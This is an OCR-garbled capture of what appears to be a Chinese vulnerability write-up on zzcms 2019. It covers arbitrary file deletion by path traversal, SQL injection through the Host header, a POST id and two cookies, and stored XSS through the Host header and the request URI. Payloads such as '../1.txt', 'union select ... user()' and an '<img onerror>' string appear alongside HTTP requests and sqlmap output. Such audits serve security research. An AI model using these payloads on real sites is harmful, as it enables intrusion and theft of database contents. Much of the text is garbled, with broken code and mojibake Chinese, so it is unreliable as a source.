zzcms 2019 RIS EHIT - ST X

FERIALX, SERZ ALK

eiX NI N T R RIS L T

—. (EEXIHHHIRR
/admin/dl data.php

if (factionm=="del") {

S$fp="../dl excel/".§ GET["filename"];
if (file exist=(:fp)){
onlink ($fp)
telsed

echo "<script>alert| '%ﬁ?ﬁ%ﬂﬂﬂfﬁ%ﬁﬂﬁiﬁ' )ihistory.back()</script>";

(https://xzfile.aliyuncs.com/media/upload/picture/20190918194856-4ba64044-dala-
1.png)
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I
@ 127.0.0.1/admin/dl data.php?action=del&filename=../1.txt
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(https://xzfile.aliyuncs.com/media/upload/picture/20190918194922-5ae25bb0-dala-
1.png)

=—. sqliEA
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https://xzfile.aliyuncs.com/media/upload/picture/20190918194922-5ae25bb0-da0a-1.png

($ REQUEST){
$ POST -zc_check($ POST);
$ GET -=zc _check($% GET);
$ COOKIE -zc_check($ COOKIE);

extract($ _POST);
extract($ GET);

(https://xzfile.aliyuncs.com/media/upload/picture/20190918194932-6141112c-dala-
1.png)

ALAEZEIRS get. post F1 cookie FRIZWAINTERE zc_check FREGHITITLIE

function zc_check($string){
(lis_array($string)){
(get_magic quotes gpc()){
htmlspecialchars(trim($string));

{

addslashes(htmlspecialchars(trim($string)));

($string $k $v) $string[$k] = zc check($v);
$string;
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(https://xzfile.aliyuncs.com/media/upload/picture/20190918194944-687b8d96-da0a-
1.png)

FE(FAT addslashes R , BRI XRS5 () . XEIS (") . &k () 5
NUL (NULL =) #1785

ABATERK sql iIEANRNEE WABLITLME

1.5QL Ea9+HESLRSISHAE
2. ?ﬁ%f‘ﬁf_ﬁ_zﬂ_

ANEIRR R F— LmAan i MR F R TR, S ERESEERE J?aﬁ%“‘bx%jj
GBK EIT SR FTEN, B_MEREFERT iconv() 8 mb_convert_encoding() i#
JmtEse
3. Sprmtf() B FRHERERRE
4. B2F%TE $_SERVER
Etan $ SERVER['PHP_SELF']1 $ SERVER['HTTP_HOST']

1.$ SERVER[ ‘HTTP HOST ]

$editor-isset($ _REQUEST[ "editor'])?$ REQUEST[ 'editor"]:""
$editor=substr($_SERVER[ "HTTP_HOST'],@,strpos($ SERVER[ "HTTP_HOST ], . ));

$rs=query("select * from zzcms_userdomain where domain="".% SERVER[ 'HTTP_HOST']."' and
passed=1 and del=0");
$row=num_rows($rs);

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195000-71e7ee9c-dala-
1.png)
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EHEHITEILIESI $ SERVER [ 'HTTP HOST' |i&B#mdiEmEEitErT, e 3REA
zt/top.php S4RISRHITHIF

D:\phpstudy pro\WWW\zt\companyshow.php:
<?php
include(™../inc/conn.php™);

: include("[top.php|*);
include("bottom.php™);
include("left.php");

D:\phpstudy pro\WWW\zt\contact.php:
if(lisset($ SESSION)){session start();}
include(”../inc/conn.php™);

: include("ftop.php|*);
include("bottom.php");
include("left.php™);

D:\phpstudy pro\WWW\zt\job.php:
include(™../inc/conn.php™);
include("../inc/fy.php");

1: include("ftop.php");
include("bottom.php™);
include("left.php");



https://xzfile.aliyuncs.com/media/upload/picture/20190918195013-79817e16-da0a-1.png

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195013-79817e16-da0a-

1.png)

ELanFIA http://127.0.0.1/zt/companyshow.php (http://127.0.0.1/zt/companyshow.php)

—

j—

GET Izticompanyshow php HTTRH 4

Host: tin' union select sleep(3),2 3 4 58

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Reguests: 1

User-Agent: Mozilla/s .0 (Windows NT 10.0; Wing4; x84) AppleWebKit/337 36 (KHTML, like Gecko)
Chrome/76.0.3809.100 Safari/537 .36

Accept:

textihtml applicationfxhtmi+xml application/xml, g=0 9 imagefwebp imagefapng */* q=0.8 application/signed-ex
change;v=h3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CH zhg=09

Cookie: badshare_firstime=1568644834636; UserName=cgwerrr,
PassWord=e093a5fac73aet1b18c5e01 229134011

Connection: close

Done

e

=
¥

0 matches

HTTPM 1 200 DK

Server: nginxf 1511

Date: Tue, 17 Sep 2019 09:33:289 GMT
Cortent-Type: textihtml;, charset=UTF-5
Connection: close

¥-Powered-By: PHP/T 3.4
Cortent-Length: 137

=I00CTYPE htmi=meta
http-equiv="Cortert-Type' contert="text/html;
charset=utf-8'==script=alert(" £ & § 5")h
istory.back();=/script=

-

L

ke
¥

® E| EJ LZJ Type | 0 matches

321 bytes | 3,408 milis



https://xzfile.aliyuncs.com/media/upload/picture/20190918195013-79817e16-da0a-1.png
http://127.0.0.1/zt/companyshow.php
https://xzfile.aliyuncs.com/media/upload/picture/20190918195021-7e3af6a8-da0a-1.png

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195021-7e3af6a8-da0a-
1.png)

2. user\adv2.php

$row-num_rows($rs);
($row){
echo "<scriptralert("#fREHT—4 T &fIE, FaEEHESE5IEL, ');history.bac

1
i
$rs-query("select * from zzcms_ad where id=".$% POST["id"]."");

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195027-820e8074-da0a-
1.png)

%5 67 17, REBRARIXIBXT post FFiAEHD id iIRBHITILIE
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$rs=query(“select usersf from zzcms user where username='"_.$% COOKIE["UserName™]."
$row-fetch_array($rs);

($row[ "usersf"]—="4 A "){
echo "N A BFPAAEI 5 441"

»

1.png)

$ REQUEST @M1 action MIEN{E

$action - isset($ REQUEST[ 'action’'])?$ REQUEST['action’]:"";

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195040-8973ffec-dala-
1.png)

24 action 3 modify AYETE

($action=="modify"){
(check user power("set text adv")){
"no™;

(jifen=="Yes"){
setAdv(1);
I {

echo "<script>alert( {REfERIAFHE AR 5 ESAI84YR 1 ") history.back(-1)</script>";
¥

3
"yes";
setAdv(@);

>

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195047-8dd19568-da0a-
1.png)


https://xzfile.aliyuncs.com/media/upload/picture/20190918195034-85e2a356-da0a-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20190918195040-8973ffec-da0a-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20190918195047-8dd19568-da0a-1.png

W check user power R, &% set text adv

IRt check user power

check_user_power($str){
$username;
(isset($username)){
$username-$_COOKIE[ "UserName"];

1
J
$rs-query(“select config from zzcms usergroup where groupid=(select groupid from zzcms user

where name=""_.%username."")");
$row-fetch array($rs);
$config-$row[ “config"];

(str_is _inarr($config,$str)-="yes"){

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195054-91ec61a0-dala-
1.png)
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=

- FLEfA
¥ id groupid oupname grouB
(https //%flle %l%{ug)cs gom/medla/uﬂ plcture@ge]lg%ﬂ@ 95%1 mz -da0a-
1. png), RE HEF @BEE 2 2 vipelR fimage/level2.gif 1993 look_dls_data®look_dls_liuyan

RE Jc 58 @ B 3 fimage/level3.gif 2999 look dls_data#look_dls_liuyan

VSIS sot text dev SEEHAY config RIFEFIREL str 18 inarr it I no

function str is 1narr(wfr's
(bthGb($aPF5, #') 1 ==fa

$arr-explode("#",%arrs);
(in_array($str,$arr)){
I
L

($arrs—%$str){

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195120-a1a0cc94-da0a-
1.png)

EATRDIRREVAFE, @ setAdv REUE(E 1

ETREIL $a+$b==0 Fp
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function setAdv($ispay){
$f array;
$rs=query(“select * from zzcms main where editor="".% COOKIE["UserName"]."'");
$row=num_rows($rs);
(!$row){

$a-0;

Jelse{

$a-1;
1
$rs—query("select * from zzcms zh where editor="".% COOKIE["UserName"].""");
$row=num_rows($rs);

('$row){
$c-0;

1 I
J S

$c=1;
1
J

($a+$c—0){
echo "<script>alert( #Ri5xkE7" - ch: 7s . "

B, e &0 EERA" . C

B, ");location.replace(’zs.php?do=add’)</script>";

1
$rs—query(“select * from zzcms textadv where username="".$ COOKIE["UserName™]. T'")s

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195123-a32cde40-dala-
1.png)
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KA zzems_main EEFHENNAFIERER, KIIRERH—FKBREREMALLL

$a=1, REIRE SRR TEEETENT

POST juserfadyZ phptaction=modify HTTPM A

Host: 192 168.013

Content-Length: 56

Cache-Control: max-age=0

Origin: hitp:/M92.168.0.13

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/s.0 (NVndows MNT 10.0; Wing4; x64) AppleWebKit/a37 .36 (KHTML, like Gecka)
Chrome/75.0.3809.100 Safarifa37 .36

Accept:

texthtml applicationfbtml+xml @pplicationfxml,g=0.9 imagefwebp imagefapng **; g=0.8 application/signed-ex
change; v=h3

Referer: http:/M192.168.0.1 3userlogin php
Accept-Encoding: gzip, deflate

Accept-Language: zh-CH zh;g=0.9

Cookie: higclassid=0; province=%EE%EB2%E3%ESWED%AT,
city="%E4%BF % A1 %HEDIEHEINESWHEEE2; bdshare_firstime=1568644834636;
PHPSESSID=edmg 35l 4pksfrncdvmdoy 7 Stir, UserMame=eee123;
Pass\Word=2449759291 d4d6fSheibS8f30ascf2a1

Connection: close

id=-1 union select1 234567 89 user) 11,1213 14%

J Raw Headers He

Connection: close
¥-Powered-By: PHP/7 3.4
Content-Length: 414

<IDOCTYPE htmi=

=head=

=meta
http-equiv="Content-Type"
content="text/html,
charset=utf-8"=

=title="B 0 ST i Bl=tit
le=

<link href="style/ /style.css"
rel="stylesheet"
type="texticss"=

=head=

=hody=

select ' from zzems_ad
where id=-1 union select
1,2,3,4,5,6,7,8,9,user(),11,1
2,13 A48 =script=alert(" i &
Sl R root@loca
Thost 4 — :Eji 5 hlocation
Jreplace{'adv2.php’)=/scrip
t=
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(https://xzfile.aliyuncs.com/media/upload/picture/20190918195129-a6bf822e-dala-
1.png)

3. ajax/zs.php

|@ — isset(ﬂ;_ca{]KIE[ "pxzs'])?% COOKIE[ 'pxzs']:"sendtime;

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195135-aa8bd678-dala-
1.png)

$sql-$sql." order by groupid desc,elite desc,"” EEE " desc limit $last,$amount™;

$rs = query($sql);
(https://xzfile.aliyuncs.com/media/upload/picture/20190918195139-ac9bc8ba-dala-
1.png)

FHTXIBMM cookie F3REX pxzs NS, AREELES|ISHASHES 45 1T THE,
S sql 1Bz, FHA sqlmap HTEAN
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—_—

GET fajaxizs php HTTPHA A

Host: 192.163.013

Upgrade-Insecure-Reguests: 1

User-Agent. Mozillafs .0 0Nindows MT 10.0; Wingd, x64) AppleWWebKit/ia37 .36 (KHTML, like Geckao)
Chrome/756.0.3809.100 Safarifa37 .36

Accept:
textintml applicationfxbtml+xml applicationsml;g=0 .9 imagefwebp imagefapng **,q=0.8 application/signed-ex
change;v=h3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CH zhg=0.9

Cookie: bdshare_firstime=1568644834638, admin=admin;
pass=21232f2897a57asar438894a0e4as801 fo3; pxzs=sendtime desc * #
Connection: close

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195144-afed53a8-dala-
1.png)

owing 1njection pointls) with a

) HEADER)

: consider usage of option | --threads’

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195149-b300176a-dala-
1.png)
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4. zs/subzs.php

function showcookiezs($cs){

$str="";

$cs=explode(”,",%cs);

$column-isset($cs[0])?$cs[0]

$imgwidth-isset($cs[1])?%cs[]

$imgheight-isset($cs[2])?$cs 3

$title num-isset($cs[3])?$cs[3

(lisset( OKIE["zzcmscpid™])){

$str="BELiCE";

Jelse{

$cpid-$_COOKIE["zzcmscpid™];
(strpos($cpid,™,")>0){
$cpid=str_replace(™ *,"",%cpid);
$cpid=str_replace("deleted","",$cpid);
$sql-"select id,proname,img from zzcms main where id in (".%cpidi™)™;

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195157-b763ed86-dala-
1.png)

£ showcookiezs B#EH, F17317 sql IB@E cookie AT zzcmscpid iZIAEEEHHE
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EiLEA showcookiezs BIREL, 1 fix REPHITER, MBEXIRE cookiezs BIRHEABE
T, REEEIREA fix B9REL

function fixed($cs,$channel){
($channel){

"ad': Ehowad($cs};

"zs': showzs ($cs);

"dl': showdl ($cs);

‘pp': showpp($cs);

"job': showjob($cs);
“zx': showzx($cs); H
"zh': showzh($cs); H

"announce” : showannounce($cs);
"cookiezs': |5howcomk1915($c5);
"zsclass': showzsclass($cs);
"keyword’: showkeyword($cs);
"province’: showprovince($cs);
"sitecount’: showsitecount($cs);
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(https://xzfile.aliyuncs.com/media/upload/picture/20190918195203-bb60dd68-da0a-
1.png)

KU label.php 898+ 1789 showlabel EZ{+iEH

<?php

function [showlabel|($str){
$b; '

checkver($str);

$channels-array('ad","zs"','dl", "zx", "pp", "job", "zh", "announce", "cookiezs", "zsclass"', "ke
, province",'sitecount');

($channels $value) {
(strpos($str, " {#show™ .$value.":") false){
$n-count (explode("{#show".$value.":",$str));
($i-1;%i<Pn;$i++){
$cs=strbetween($str, "{#show".$value.":","1");
($cs<>'"){$str=str replace("{#show™ .$value.":" _%cs "}",fixedk$cs,$value),$str);}

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195209-beaa7a10-dala-
1.png)

I EEE KA showlabel F&, MEMEHZERT $str THHEIRE cookiezs AY
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D:\phpstudy_pro\WwWW\template\red13\zs_list].htm:
<div class="right"> N
<div class="titles"> #REBFLH=FH</div>

6: <div class="content1">{#showcookiezs|:3,60,6
</div>

D:\phpstudy_pro\www\template\Ped13\kﬁ_s_arch.htm:
<div class="titles"> REBEBFLH=R</div>
<div class="contentl1l">

: {#showcookiezs|:3,60,60}
</div>
</div>
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(https://xzfile.aliyuncs.com/media/upload/picture/20190918195220-c50acbc6-dala-
1.png)

BERAUE 2 1MGE, P8R zs/search.php #1 zs/zs_list.php

zs/search.php

$fp="../template/".$siteskin."/zs_search.htm";
$f = fopen($fp,'r');
$strout = fread($f,filesize($fp));

$strout=showlabel($strout);
echo $strout;
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J Raw T Params T Headers I Hex ]

J Raw T Headers I Hex I Render ]

GET fzsisearch.php HTTRA 1
Host: 1921658013
Cache-Control. max-age=0
Upgrade-Insecure-Feguests: 1
User-Agent: Mozilla/s .0 (Nindows NT 10.0; Wing4, x64)
(httpsiixztilealipanesicomgemedia/upload/pict
Chromelf76.0.3809.100 Safarifa37 .36
1 -pngﬂ)ccept:
textintml application/xbtmi+xml applicationsml; g=0.9 imageiwe
.| bpimagefapng t*g=0.8 application/signed-exchange; v=h3
ZS_IISt& ~Encoding: gzip, deflate
Accept-Language: zh-CH zh;g=0.9
Cookie: bdshare_firstime=1568644534635, admin=admir;
$ FpFrassredmpiate A 333 HbikAleyadeimyemscpid=1.1
¢f _l LpaBlé%PngI?c},%g?user(j,‘l VErsion;
$str‘%?1r‘?:ne=m-?ge%|8fgf, filesize($fp));

$strout=showlabel($strout);

echo $strout;

|a
| &

barder="0" onload="resizeimg(&0 60 this)'
att="1231"=<fa=<fd=<fr=<tr=<td

title="1 231"=12M <fd=<tri==<table=<fd==td
align="center'==takle horder="0"
cellspacing="1" cellpadding="1"

Ure/20380918195231 babec30t6rdal

align="center' width="60" height="60"==a
href="Izs/show-root@localhost Htm'
target="_hlank'==img

sro=http /M1 27.0.015.7 .26 border="0"
onload="resizeimg(E0 G0 this)'
at="1"=<ig=<fd=<fr=<tr=<td
title="1"=1<fcl=<tri==table=<fd=<table=<div
style=text-align: center; font-weight: bold'=<a
href="Ize/z=_list php?action=ClearCookies"
5 B AT i Fhefam<idive

<jeliv=

<jeliv=

=div clags="left"=

<div clags="station2"=

<li clasz="start'=<a

href="hittp: (1 27 001" B T <la=<li=<li=<a
href="fzzfindesx htm'= Hi i<fa==1i=

<fdiv=
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SET izsizs_list php HTTPA A " border="0" onload="resizeimg(&0 50 this)'
dost: 192.168.0.13 P alt="1231"><la=<hd=<fr=<tr=<tc
Zache-Control: max-age=0 title="1 231 =423 <ftcl=<tri=<table=<fd=<td
Jpgracde-Insecure-Reqguests: 1 align='center'=<table border='0'
Jzer-Agent; Mozilla/s.0 (Windows NT 10.0; Wingd, x64) cellspacing="1" cellpadding=""
SppleWebkit/ia37 .36 (KHTML, like Gecka) class="bgcolor2'>=tr==td bgcolor="#FFFFFF'
chromel76.0.3809.100 Safari/a37 .36 align="center' width="60" height="60"==3
Scoept href="Izs/show-roct@localhost Htm'
extintml application/xbtml+xml applicationiml; g=0.9 imageiwe target="_hlank'==img
(httpsyyrefilealid sty rvedisrtiplo gty picture/2019091 81952372 ef9202 ca-dala-
Sceept-Encoding’ gzip, deflate onload="resizeimg(E0 G0 this)'
1 .pngf)ccept-Language: zh-CH zh;g=0.9 alt="1"=<la=<td=<fr>=tr==id
Zookie: bdshare_firstime=1565644534536, admin=admir; title="1"=1=hd==tri==fable=<td=<table==div
rass=212321297a5Ta5%ar43894a0e4as01 fo3; zzemecpid=1 1 style=text-align: center; font-weight: bold'=<a
-_— i Mﬁselem%ﬂauser(jfl VErsion; href="Izs/zs_list php?action=ClearCookies"s
— : close F5F B A il a2 idive<idive
<lecliv=
use r/a Sk- p h p =div class="|eft">
<div class="station2"=<li class="start'=<a
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<?php
$do-isset($ GET['do"])?$ GET['do"]:"";
($do){

"add";add(); H
b m(].dj_'l:}f " g ITIDdi‘F}-" ( ) 3
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function modify(){
$username;
’>

< class="admintitle">Ego&{E 5</ >|
<?php

$page - isset($ GET[ 'page’])?$ GET[ 'page’]:1;
checkid($page);

$id - isset($ GET['id"])?$ GET['id']:€
checkid($id,1);

$sqlzx=-"select * from zzcms ask where id="%id"";
$rszx -fuery($sqlzx) ;|
$rowzx = fetch array($rszx);

($id<>0 $rowzx|["editor”]<>$username) {
markit();

shownsg (' JEiE#ERME | B4 : fREVIRFEHOCE | NOEIRNAFRIP ! )5

1
J
>
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BRiE markit B2, AHLER $_SERVER[ "HTTP_HOST' | SRit{5ie, BEEE host XabaIS

Xss 154

function markit(){
$userip-$% SERVER["REMOTE ADDR™];

$url-"http://".$ SERVER[ "HTTP_HOST'].$ SERVER['REQUEST URI'];

query(“insert into zzcms _bad (username,ip,dose,sendtime)values('".$ COOKIE["
UserName™]." ", "$userip’, "$url’, "".date('Y-m-d H:i:s")."")") ;

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195255-da17c7a8-da0a-
1.png)
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GET fuserfask php?do=modify &page=18id=8 HTTPHM 1
Host: <img sre=1 onerror=alert(1 )=

Cache-Contral: max-age=0
Upgrade-Insecure-Reguests: 1

User-Agent: Mozilla#s.0 (Windows NT 10.0; Wing4, =64) AppleWebKit/s3
. . Safarif537 36 .
(https://xzfile.aliyuncscapimediafipioadipictiures201909 18195391 -dd70dal0c-dala-
Accept-Encoding: gzip, deflate

L png) Accept-Language: zh-CH zh;g=0.9
Cookie: bigclassid=0, province=%EG%E2%E3%ES%E0%%9T, city=26E4%:E
bdshare_firstime=1568644834636; admin=admin; pass=21232f297a57a5
PHPSESSID=013%tne3ma7s11 omfdungsrsv3; UserMame=admin, Pass\Wo
Connection: close

TSy

12?,0_0_1 ﬂE.Ii.‘—_I_T« "W LU LA L

2E 52 = Ts AP M g

FoOSU auw_1 LR LTI

0| &R | [ E2fRie |

P
Pi% BrFE IP P =T
- 7
admin 192 168.0.13 i hitp-filuseriask php?do
age=1&id=8

2= | PeETES || @EswP |

(https://xzfile.aliyuncs.com/media/upload/picture/20190918195317-e73bb660-da0a-
1.png)

EJ9iFE $_SERVER[ 'REQUEST_URI" ], tBeJLAfEIERRY url @&, BRETEHE
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if (strpos($_SERVER['REQUEST URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%
die ("TLRKSH");//EEXEARH sI®R
}

Request

J Haw T Params T Headers I Hex ]

GET luserfask php?do=maodify&page=18id=88s=<img src=1 onerror=alert{1 )= HTTPM 1

Host: 192168.013

Cache-Contraol: max-age=0

Upgrade-Insecure-Reguests: 1

User-Agent: Mozilla/s.0 (Windows MT 10.0; Wing4, x64) AppleWebKit/is37 36 (KHTML, like Gecke) Chrome/76.0.3809.100
Safarilo37 .36

Accept: text/html applicationixhtml+xml applicationfml,g=0.9 imagefwebp imagefapng * M, g=0.8 application/signed-exchange; v=b3
Accept-Encoding: gzip, deflate

Accept-Language: zh-CH zh;g=0.9

Cookie: bigelassid=0; province=%EG%BE2%EB3%ESED%0T; city="E4%BF %A1 %EI%03%B3%ES%EE%E2;
bdshare_firstime=1568644334636; admin=admin; pass=21232{2597a57a5a743894a0e4a801c3; tablename=zzcms_zsclass;
PHPSESSID=013%tne8ma7s11 omfdungsrsv3; UserMame=admin; PassWord=212321297a57a5ar438594a0e4a8011c3
Connection: close
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